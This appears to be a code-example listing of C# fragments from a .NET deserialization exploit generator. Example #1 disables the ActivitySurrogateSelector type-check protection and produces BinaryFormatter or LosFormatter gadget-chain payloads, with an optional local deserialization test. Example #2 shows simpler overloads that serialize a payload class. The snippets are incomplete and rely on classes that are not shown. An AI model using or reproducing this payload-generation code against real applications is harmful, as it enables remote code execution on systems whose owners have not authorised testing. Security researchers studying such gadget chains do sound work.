Example #1
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            // Disable ActivitySurrogate type protections during generation
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

            PayloadClass payload = new PayloadClass(variant_number, inputArgs);

            if (inputArgs.Minify)
            {
                byte[] payloadInByte = payload.GadgetChainsToBinaryFormatter();
                if (formatter.ToLower().Equals("binaryformatter"))
                {
                    if (inputArgs.Test)
                    {
                        try
                        {
                            SerializersHelper.BinaryFormatter_deserialize(payloadInByte);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }

                    return(payloadInByte);
                }
                else if (formatter.ToLower().Equals("losformatter"))
                {
                    payloadInByte = Helpers.ModifiedVulnerableBinaryFormatters.SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(payload.GadgetChainsToBinaryFormatter());

                    if (inputArgs.Test)
                    {
                        try
                        {
                            SerializersHelper.LosFormatter_deserialize(payloadInByte);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(payloadInByte);
                }
            }

            return(Serialize(payload, formatter, inputArgs));
        }
Example #2
0
        public override object Generate(string cmd, string formatter, Boolean test)
        {
            PayloadClass payload = new PayloadClass();

            return(Serialize(payload, formatter, test));
        }
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            PayloadClass payload = new PayloadClass(variant_number, inputArgs);

            return(Serialize(payload, formatter, inputArgs));
        }